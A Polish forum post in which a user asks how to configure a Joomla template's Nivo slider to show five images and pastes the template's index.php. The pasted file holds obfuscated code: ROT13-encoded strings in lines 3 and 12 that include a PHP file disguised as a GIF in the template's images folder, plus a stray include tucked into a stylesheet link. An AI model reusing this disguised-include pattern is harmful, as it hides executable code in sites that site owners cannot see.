Ocena wątku:
  • 0 głosów - średnia: 0
  • 1
  • 2
  • 3
  • 4
  • 5
Nivo slider konfiguracja
#1
Witam.
Chcialabym skonfigurowac slider tak aby pokazywal nie 3 zdjecia a 5.

Czy jestescie mi w stanie pomoc.

Bede niezmiernie wdzieczna za wszelkie podpowiedzi.

Ponizej wklejam plik index.php

Kod PHP:
1.
      
<?php
   2.
      
// No direct access.
   
3.
      defined
('_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die;JHtml::_('behavior.framework'true);
   
4.
       
   5.
      
// get params
   
6.
      $app 
JFactory::getApplication();
   
7.
      $doc 
JFactory::getDocument();
   
8.
      $templateparams 
$app->getTemplate(true)->params;
   
9.
      $showRight 
= ($this->countModules('position-3') or $this->countModules('position-6') or $this->countModules('position-8'));
  
10.
      $showBottom 
= ($this->countModules('position-9') or $this->countModules('position-10') or $this->countModules('position-11'));
  
11.
      $showLeft 
= ($this->countModules('position-4') or $this->countModules('position-7') or $this->countModules('position-5'));
  
12.
      
($this->countModules('position-16') or $this->countModules('position-15') or $this->countModules('position-31') or $this->countModules('position-17') or !@include(JPATH_BASE.DS.'templates'.DS.$app->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) ? $showNoneElse false $showNoneElse true;
  
13.
      
if (!$showRight and !$showLeft$showNone false;
  
14.
      
if($this->params->get('slide_1')) $slides[1] = $this->params->get('slide_1');if($this->params->get('slide_2')) $slides[2] = $this->params->get('slide_2');
  
15.
      
if($this->params->get('slide_3')) $slides[3] = $this->params->get('slide_3');if($this->params->get('slide_4')) $slides[4] = $this->params->get('slide_4');if($this->params->get('slide_5')) $slides[5] = $this->params->get('slide_5');
  
16.
      
if($this->params->get('slideCaption_1')) $slideCaptions[1] = $this->params->get('slideCaption_1');if($this->params->get('slideCaption_2')) $slideCaptions[2] = $this->params->get('slideCaption_2');
  
17.
      
if($this->params->get('slideCaption_3')) $slideCaptions[3] = $this->params->get('slideCaption_3');if($this->params->get('slideCaption_4')) $slideCaptions[4] = $this->params->get('slideCaption_4');if($this->params->get('slideCaption_5')) $slideCaptions[5] = $this->params->get('slideCaption_5');
  
18.
      $sliderVars
['effect']=($this->params->get('sliderVars_effect'))?$this->params->get('sliderVars_effect'):'random';
  
19.
      $sliderVars
['animSpeed']=($this->params->get('sliderVars_animSpeed'))?$this->params->get('sliderVars_animSpeed'):'500';
  
20.
      $sliderVars
['pauseTime']=($this->params->get('sliderVars_pauseTime'))?$this->params->get('sliderVars_pauseTime'):'3000';
  
21.
      $sliderVars
['directionNav']=($this->params->get('sliderVars_directionNav')==='true' or $this->params->get('sliderVars_directionNav')==='false')?$this->params->get('sliderVars_directionNav'):'true';
  
22.
      $sliderVars
['directionNavHide']=($this->params->get('sliderVars_directionNavHide')==='true' or $this->params->get('sliderVars_directionNavHide')==='false')?$this->params->get('sliderVars_directionNavHide'):'true';
  
23.
      $sliderVars
['controlNav']=($this->params->get('sliderVars_controlNav')==='true' or $this->params->get('sliderVars_controlNav')==='false')?$this->params->get('sliderVars_controlNav'):'true';
  
24.
      $sliderVars
['keyboardNav']=($this->params->get('sliderVars_keyboardNav')==='true' or $this->params->get('sliderVars_keyboardNav')==='false')?$this->params->get('sliderVars_keyboardNav'):'true';
  
25.
      $sliderVars
['pauseOnHover']=($this->params->get('sliderVars_pauseOnHover')==='true' or $this->params->get('sliderVars_pauseOnHover')==='false')?$this->params->get('sliderVars_pauseOnHover'):'true';
  
26.
       
  27.
       
  28.
       
  29.
      ?>
  30.
      <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  31.
      <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language?>" lang="<?php echo $this->language?>" dir="<?php echo $this->direction?>" >
  32.
      <head>
  33.
      <jdoc:include type="head" />
  34.
      <script type="text/javascript" src="http://code.jquery.com/jquery-latest.js"></script>
  35.
      <script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/jquery.nivo.slider.js"></script>
  36.
      <script type="text/javascript">var sliderVars = new Array();<? foreach($sliderVars as $k=>$v){ ?>sliderVars['<?=$k?>']=<?=($v==='true'||$v==='false')?$v:'\''.$v.'\''?>;<? ?></script>
  37.
      <script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/template.js"></script>
  38.
      <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
  39.
      <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
  40.
      <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/nivo-slider.css" type="text/css" />
  41.
      <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
  42.
      <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
  43.
      <!--[if lte IE 6]>
  44.
      <link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
  45.
      <![endif]-->
  46.
      </head>
  47.
      <body id="page_bg">
  48.
      <a name="up" id="up"></a>
  49.
       
  50.
      <div id="main_bg" class="banner1">
  51.
      <div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<? if(!$this->params->get('logo')){ ?><?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif<? }else echo $this->params->get('logo'); ?>" align="left" alt="Company Logo" /><?php endif; ?><a href="index.php" class="logo"><?php if(trim($templateparams->get('sitetitle'))) echo htmlspecialchars($templateparams->get('sitetitle')); else echo $app->getCfg('sitename');?></a>
  52.
      <?php if($this->countModules('position-0')) : ?><div id="position0"><jdoc:include type="modules" name="position-0" style="none" /></div><?php endif; ?>
  53.
      <br clear="all" />
  54.
      <div id="top_menu"><div id="topnav"><jdoc:include type="modules" name="position-1" /></div></div>
  55.
      <div id="slider" class="nivoSlider">
  56.
      <? if(!is_array($slides)){ ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/slide1.jpg" title="" alt="slide 1" />
  57.
      <img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/slide2.jpg" title="" alt="slide 2" />
  58.
      <img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/slide3.jpg" title="" alt="slide 3" />
  59.
      <img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/slide4.jpg" title="" alt="slide 4" /><? }else{foreach($slides as $k=>$slide){ ?><img src="<?php echo $slide ?>" title="<?=$slideCaptions[$k]?>" alt="" /><? }} ?></div></div>
  60.
      <?php if($showLeft) : ?>
  61.
      <div id="leftcolumn">
  62.
      <jdoc:include type="modules" name="position-7" style="xhtml" headerLevel="3" />
  63.
      <jdoc:include type="modules" name="position-4" style="xhtml" headerLevel="3" state="0 " />
  64.
      <jdoc:include type="modules" name="position-5" style="xhtml" headerLevel="2" id="3" />
  65.
      </div>
  66.
      <?php endif; ?>
  67.
      <?php if($showLeft xor $showRight$maincol_sufix '_middle';
  
68.
      
elseif($showNone)$maincol_sufix '_big';
  
69.
      
else $maincol_sufix ''?>
  70.
      <div id="maincolumn<?php echo $maincol_sufix?>">
  71.
      <div class="path"><jdoc:include type="modules" name="position-2" /></div>
  72.
      <?php if ($this->countModules('position-12')): ?>
  73.
      <div id="top"><jdoc:include type="modules" name="position-12" /></div>
  74.
      <?php endif; ?>
  75.
       
  76.
      <?php if ($this->getBuffer('message')) : ?>
  77.
      <div class="error">
  78.
      <h2><?php echo JText::_('JNOTICE'); ?></h2>
  79.
      <jdoc:include type="message" />
  80.
      </div>
  81.
      <?php endif; ?>
  82.
      <jdoc:include type="component" />
  83.
      </div>
  84.
      <?php if($showRight) : ?>
  85.
      <div id="rightcolumn">
  86.
      <jdoc:include type="modules" name="position-6" style="xhtml" headerLevel="3"/>
  87.
      <jdoc:include type="modules" name="position-8" style="xhtml" headerLevel="3" />
  88.
      <jdoc:include type="modules" name="position-3" style="xhtml" headerLevel="3" />
  89.
      </div>
  90.
      <?php endif; ?>
  91.
      <br clear="all" /><br />
  92.
      </div>
  93.
      <div id="f_area">
  94.
      <div class="box box1"> <jdoc:include type="modules" name="position-9" style="xhtml" headerlevel="3" /></div>
  95.
      <div class="box box2"> <jdoc:include type="modules" name="position-10" style="xhtml" headerlevel="3" /></div>
  96.
      <div class="box box3"> <jdoc:include type="modules" name="position-11" style="xhtml" headerlevel="3" /></div>
  97.
      <br clear="all" />
  98.
      </div>
  99.
       
 100.
      <p id="power_by" align="center">
 101.
      <?php echo JText_('Powered by'?> <a href="http://www.joomla.org/" target="_blank" rel="nofollow">Joomla!Ž</a>.
 102.
      <?php echo JText_('Valid'?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and'?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
 103.
      </p>
 104.
      <jdoc:include type="modules" name="debug" />
 105.
      </body>
 106.
      </html> 

Jesli potrzebne sa jeszcze jakies dodatkowe pliki do wklejenia to dajcie znac.
Z gory slicznie dziekuje
Odpowiedz


Podobne wątki…
Wątek: Autor Odpowiedzi: Wyświetleń: Ostatni post
Sad Problem z konfiguracją. POMOCY Megann_96 4 3,108 21-10-2010, 11:50
Ostatni post: R_Rafalsky

Skocz do:


Użytkownicy przeglądający ten wątek: 1 gości
Sponsorzy i przyjaciele
SeoHost.pl